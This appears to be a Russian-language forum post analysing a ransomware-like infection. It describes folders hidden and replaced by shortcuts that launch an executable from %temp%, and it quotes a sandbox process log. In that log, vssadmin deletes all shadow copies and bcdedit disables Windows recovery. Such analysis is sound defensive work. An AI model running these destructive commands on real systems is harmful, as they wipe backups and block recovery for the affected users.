как минимум, скрыл каталоги в корне диска, и добавил lnk-файлы с аналогичными именами. + да, приглашение есть в личный кабинет по указанному адресу
+
к ярлыкам папок привязан запуск из %temp% исполняемого файла.
да, похоже расширение офисных файлов не меняется.
+
удаляет теневые копии:
| Цитата |
|---|
WMIC.exe process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures" (PID: 2760)
cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures (PID: 2976)
vssadmin.exe delete shadows /all /quiet (PID: 2984) bcdedit.exe /set {default} recoveryenabled no (PID: 3264) bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures (PID: 3276) |